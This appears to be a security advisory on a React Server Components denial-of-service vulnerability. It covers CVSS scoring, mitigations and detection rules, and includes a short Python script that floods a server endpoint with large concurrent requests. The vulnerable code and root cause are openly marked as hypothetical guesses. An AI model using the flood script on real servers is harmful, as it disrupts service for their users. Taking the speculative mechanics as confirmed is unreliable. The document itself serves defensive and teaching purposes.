CVE-2026-23870

Executive Summary

CVE-2026-23870 is a high-severity (CVSS 7.5) denial of service vulnerability affecting Meta's React Server DOM packages: react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack. The flaw allows an unauthenticated remote attacker to send specially crafted HTTP requests to server function endpoints, leading to server crashes, out-of-memory exceptions, or excessive CPU consumption. All versions from 19.0.0 through 19.2.5 are vulnerable. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the widespread use of React in modern web applications, this vulnerability poses a significant risk to server-side rendering (SSR) and React Server Components (RSC) deployments.

Supply Chain & Package Security

This vulnerability affects three npm packages: react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack. These packages are part of the React ecosystem and are used to enable server-side rendering and streaming with React Server Components. Organizations using these packages in production should immediately audit their dependency trees and upgrade to patched versions once available. The lack of a public patch at the time of analysis means that affected systems are currently exposed to potential DoS attacks. Supply chain security teams should monitor the official React repository and npm advisories for updates.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The vulnerability is remotely exploitable without authentication, making it a serious threat to availability. The low attack complexity suggests that crafting the malicious HTTP requests is straightforward, though no public exploit code has been released.

Deep Dive & Mechanics

The vulnerability resides in the server-side handling of HTTP requests to React Server Components endpoints. When a specially crafted HTTP request is sent to a server function endpoint, the server fails to properly validate or limit resource consumption during request processing. This can lead to:

• Server Crashes: The server process terminates unexpectedly due to unhandled exceptions.
• Out-of-Memory (OOM) Exceptions: The server exhausts available memory, causing the process to be killed by the operating system.
• Excessive CPU Usage: The server enters an infinite loop or performs computationally expensive operations, degrading performance for legitimate users.

The root cause is likely a lack of input validation or resource limits on the server-side request handling logic. Attackers can exploit this by sending requests with malformed payloads, excessively large data, or specially crafted headers that trigger resource-intensive operations.

Vulnerable vs. Patched Code

Since no official patch has been released, a direct code comparison is not possible. However, based on the vulnerability description, the following patterns are likely present in vulnerable code:

Vulnerable Code (Hypothetical):

// Vulnerable: No input validation or resource limits
app.post('/rsc', (req, res) => {
  const data = req.body; // No size limit
  const result = processServerFunction(data); // Could be expensive
  res.send(result);
});

Patched Code (Expected):

// Patched: Input validation and resource limits
app.post('/rsc', (req, res) => {
  if (req.body.length > MAX_BODY_SIZE) {
    return res.status(413).send('Payload too large');
  }
  const data = sanitizeInput(req.body);
  const result = processServerFunction(data);
  res.send(result);
});

Exploitation & Lab Setup

Red Team

To simulate exploitation, set up a vulnerable React Server Components environment using one of the affected packages. Use a tool like curl or a custom Python script to send malformed HTTP requests.

Lab Setup:

1. Create a Node.js project with a vulnerable version of react-server-dom-webpack (e.g., 19.2.0).
2. Configure a simple server that uses React Server Components.
3. Use the following Python script to send a crafted request:

import requests
import threading

target_url = "http://target-server/rsc"

def send_malicious_request():
    # Craft a request with excessive data or malformed headers
    payload = "A" * 1000000  # 1MB of data
    headers = {"Content-Type": "application/json"}
    try:
        response = requests.post(target_url, data=payload, headers=headers, timeout=5)
        print(f"Response: {response.status_code}")
    except requests.exceptions.Timeout:
        print("Request timed out - possible DoS")

# Launch multiple threads to amplify the attack
for i in range(10):
    threading.Thread(target=send_malicious_request).start()

Expected Outcome: The server becomes unresponsive, crashes, or consumes excessive resources.

Blue Team

To detect and mitigate exploitation attempts:

1. Monitor Server Metrics: Track CPU usage, memory consumption, and request latency. Sudden spikes may indicate an ongoing attack.
2. Implement Rate Limiting: Use middleware like express-rate-limit to restrict the number of requests per IP.
3. Validate Input: Enforce maximum payload sizes and sanitize request data.
4. Use Web Application Firewall (WAF): Deploy rules to block requests with abnormally large payloads or suspicious patterns.

Detection Script (Node.js):

const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
  windowMs: 1 * 60 * 1000, // 1 minute
  max: 100, // limit each IP to 100 requests per windowMs
  message: 'Too many requests, please try again later.'
});
app.use('/rsc', limiter);

Indicators of Compromise (IOCs)

• Network Traffic: HTTP POST requests to /rsc or similar endpoints with unusually large payloads (e.g., >1MB).
• Server Logs: Repeated OutOfMemoryError or ECONNRESET errors in application logs.
• System Metrics: High CPU usage ( >90%) or memory consumption ( >80% of available RAM) without corresponding legitimate traffic.
• Error Messages: "Server crashed", "Heap out of memory", or "Request timed out" in logs.

Detection Engineering

YARA Rule

rule CVE_2026_23870_React_Server_DoS {
    meta:
        description = "Detects malicious HTTP requests targeting React Server Components DoS vulnerability"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23870"
    strings:
        $http_post = "POST /rsc" ascii wide nocase
        $large_payload = /[A-Za-z0-9]{100000,}/ ascii
        $content_type = "Content-Type: application/json" ascii wide nocase
    condition:
        $http_post and $large_payload and $content_type
}

Sigma Rule

title: CVE-2026-23870 - React Server Components DoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with abnormally large payloads targeting React Server Components endpoints
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23870
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/rsc'
        sc-bytes: '>1000000'
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely for RSC endpoints)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-23870 - React Server Components DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/rsc"; http_uri; content:"Content-Type|3a| application/json"; http_header; pcre:"/[A-Za-z0-9]{100000,}/R"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Upgrade Packages: Once a patch is released, upgrade to the latest version of react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack ( > 19.2.5).
2. Apply Workarounds: If patching is not immediately possible, implement input validation and resource limits on server function endpoints.
3. Monitor and Alert: Set up monitoring for abnormal resource usage and configure alerts for potential DoS attacks.
4. Network Segmentation: Isolate React Server Components endpoints behind a reverse proxy or load balancer that can enforce rate limiting and payload size restrictions.
5. Incident Response: Prepare a response plan for DoS incidents, including procedures for scaling resources and blocking malicious IPs.

Valters IT

{/* [Security Hash: 4A6BADFA9D789F5B7D696FC4] */}